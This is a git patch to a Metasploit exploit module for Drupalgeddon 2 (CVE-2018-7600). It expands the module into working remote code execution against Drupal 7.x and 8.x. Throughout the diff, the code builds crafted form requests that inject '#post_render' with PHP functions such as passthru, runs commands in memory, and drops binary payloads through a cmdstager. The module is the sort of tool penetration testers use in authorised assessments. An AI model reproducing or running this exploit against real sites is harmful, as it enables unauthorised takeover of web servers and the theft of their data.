From 1900aa270813584ad6d45fcf985cc57fe86f7b16 Mon Sep 17 00:00:00 2001 From: William Vu Date: Tue, 17 Apr 2018 12:50:46 -0500 Subject: [PATCH] Refactor module and address review comments --- .../unix/webapp/drupal_drupalgeddon2.rb | 192 ++++++++++++++---- 1 file changed, 155 insertions(+), 37 deletions(-) diff --git a/modules/exploits/unix/webapp/drupal_drupalgeddon2.rb b/modules/exploits/unix/webapp/drupal_drupalgeddon2.rb index 3c069c0637..1a9e533e65 100644 --- a/modules/exploits/unix/webapp/drupal_drupalgeddon2.rb +++ b/modules/exploits/unix/webapp/drupal_drupalgeddon2.rb @@ -8,17 +8,23 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, - 'Name' => 'Drupal Drupalgeddon 2', + 'Name' => 'Drupal Drupalgeddon 2 Forms API Property Injection', 'Description' => %q{ - This module exploits a vulnerability. + This module exploits a Drupal property injection in the Forms API. + + Drupal 6.x, < 7.58, 8.2.x, < 8.3.9, < 8.4.6, and < 8.5.1 are vulnerable. + + Tested on 7.57 and 8.4.5. }, 'Author' => [ 'Jasper Mattsson', # Vulnerability discovery - 'a2u', # Proof of concept - 'Nixawk', # Proof of concept + 'a2u', # Proof of concept (Drupal 8.x) + 'Nixawk', # Proof of concept (Drupal 8.x) + 'FireFart', # Proof of concept (Drupal 7.x) 'wvu' # Metasploit module ], 'References' => [ @@ -27,17 +33,39 @@ class MetasploitModule < Msf::Exploit::Remote ['URL', 'https://greysec.net/showthread.php?tid=2912'], ['URL', 'https://research.checkpoint.com/uncovering-drupalgeddon-2/'], ['URL', 'https://github.com/a2u/CVE-2018-7600'], - ['URL', 'https://github.com/nixawk/labs/issues/19'] + ['URL', 'https://github.com/nixawk/labs/issues/19'], + ['URL', 'https://github.com/FireFart/CVE-2018-7600'], + ['AKA', 'Drupalgeddon 2'] ], 'DisclosureDate' => 'Mar 28 2018', 'License' => MSF_LICENSE, - 'Platform' => 'unix', - 'Arch' => ARCH_CMD, + 'Platform' => ['unix', 'linux'], + 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'Privileged' => false, + # XXX: Using "x" in Gem::Version::new isn't technically appropriate 'Targets' => [ - ['Drupal < 7.58, < 8.3.9, < 8.4.6, < 8.5.1', {}] + ['Drupal 7.x (Unix In-Memory)', + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Version' => Gem::Version.new('7.x') + ], + ['Drupal 7.x (Linux Dropper)', + 'Platform' => 'linux', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Version' => Gem::Version.new('7.x') + ], + ['Drupal 8.x (Unix In-Memory)', + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Version' => Gem::Version.new('8.x') + ], + ['Drupal 8.x (Linux Dropper)', + 'Platform' => 'linux', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Version' => Gem::Version.new('8.x') + ] ], - 'DefaultTarget' => 0, + 'DefaultTarget' => 2, # Drupal 8.x (Unix In-Memory) 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/generic', 'CMD' => 'id; uname -a' @@ -46,15 +74,16 @@ class MetasploitModule < Msf::Exploit::Remote register_options([ OptString.new('TARGETURI', [true, 'Path to Drupal install', '/']), + OptString.new('PHP_FUNC', [true, 'PHP function to execute', 'passthru']), OptBool.new('CLEAN_URLS', [false, 'If clean URLs are enabled', true]), - OptBool.new('DUMP_OUTPUT', [false, 'If output should be dumped', true]) + OptBool.new('DUMP_OUTPUT', [false, 'If output should be dumped', false]) ]) end def check token = Rex::Text.rand_text_alphanumeric(8..42) - res = exploit(code: "echo #{token}") + res = execute_command(token, func: 'printf') if res && res.body.include?(token) return CheckCode::Vulnerable @@ -63,36 +92,37 @@ class MetasploitModule < Msf::Exploit::Remote CheckCode::Safe end - # TODO: passthru() may be disabled, so try others - def exploit(func: 'passthru', code: payload.encoded) - if datastore['CLEAN_URLS'] - register = '/user/register' - else - register = '?q=user/register' + def exploit + if datastore['PAYLOAD'] == 'cmd/unix/generic' + print_warning('Enabling DUMP_OUTPUT for cmd/unix/generic') + # XXX: Naughty datastore modification + datastore['DUMP_OUTPUT'] = true end - print_status("Executing on target: #{code}") + case target.name + when /In-Memory/ + execute_command(payload.encoded) + when /Dropper/ + execute_cmdstager + end + end - res = send_request_cgi( - 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, register), - 'vars_get' => { - 'element_parents' => 'account/mail/#value', - 'ajax_form' => 1, - '_wrapper_format' => 'drupal_ajax' - }, - 'vars_post' => { - 'form_id' => 'user_register_form', - '_drupal_ajax' => 1, - 'mail[#type]' => 'markup', - 'mail[#post_render][]' => func, - 'mail[#markup]' => code - } - ) + def execute_command(cmd, opts = {}) + # TODO: passthru() may be disabled, so try others + func = opts[:func] || datastore['PHP_FUNC'] || 'passthru' - if res.nil? || res.code != 200 - print_error("Unexpected reply: #{res.inspect}") - return nil + vprint_status("Executing with #{func}(): #{cmd}") + + res = case target['Version'].to_s + when '7.x' + exploit_drupal7(func, cmd) + when '8.x' + exploit_drupal8(func, cmd) + end + + unless res && res.code == 200 + vprint_error("Unexpected final reply: #{res.inspect}") + return end print_line(res.body) if datastore['DUMP_OUTPUT'] @@ -100,4 +130,92 @@ class MetasploitModule < Msf::Exploit::Remote res end + def exploit_drupal7(func, code) + vars_get = { + 'name[#post_render][]' => func, + 'name[#markup]' => code, + 'name[#type]' => 'markup' + } + + vars_post = { + 'form_id' => 'user_pass', + '_triggering_element_name' => 'name' + } + + if datastore['CLEAN_URLS'] + uri = normalize_uri(target_uri.path, '/user/password') + else + uri = target_uri.path + vars_get = {'q' => 'user/password'}.merge(vars_get) + end + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => uri, + 'vars_get' => vars_get, + 'vars_post' => vars_post + ) + + unless res && res.code == 200 + vprint_error("Unexpected intermediate reply: #{res.inspect}") + return + end + + form_build_id = res.get_html_document.at( + '//input[@name = "form_build_id"]/@value' + ) + + if form_build_id + form_build_id = form_build_id.value + else + vprint_error("Unknown form_build_id: #{res.inspect}") + return + end + + vars_get = { + 'q' => "file/ajax/name/#value/#{form_build_id}" + } + + vars_post = { + 'form_build_id' => form_build_id + } + + send_request_cgi( + 'method' => 'POST', + 'uri' => uri, + 'vars_get' => vars_get, + 'vars_post' => vars_post + ) + end + + def exploit_drupal8(func, code) + vars_get = { + 'element_parents' => 'account/mail/#value', + 'ajax_form' => 1, + '_wrapper_format' => 'drupal_ajax' + } + + vars_post = { + 'form_id' => 'user_register_form', + '_drupal_ajax' => 1, + 'mail[#type]' => 'markup', + 'mail[#post_render][]' => func, + 'mail[#markup]' => code + } + + if datastore['CLEAN_URLS'] + uri = normalize_uri(target_uri.path, '/user/register') + else + uri = target_uri.path + vars_get = {'q' => 'user/register'}.merge(vars_get) + end + + send_request_cgi( + 'method' => 'POST', + 'uri' => uri, + 'vars_get' => vars_get, + 'vars_post' => vars_post + ) + end + end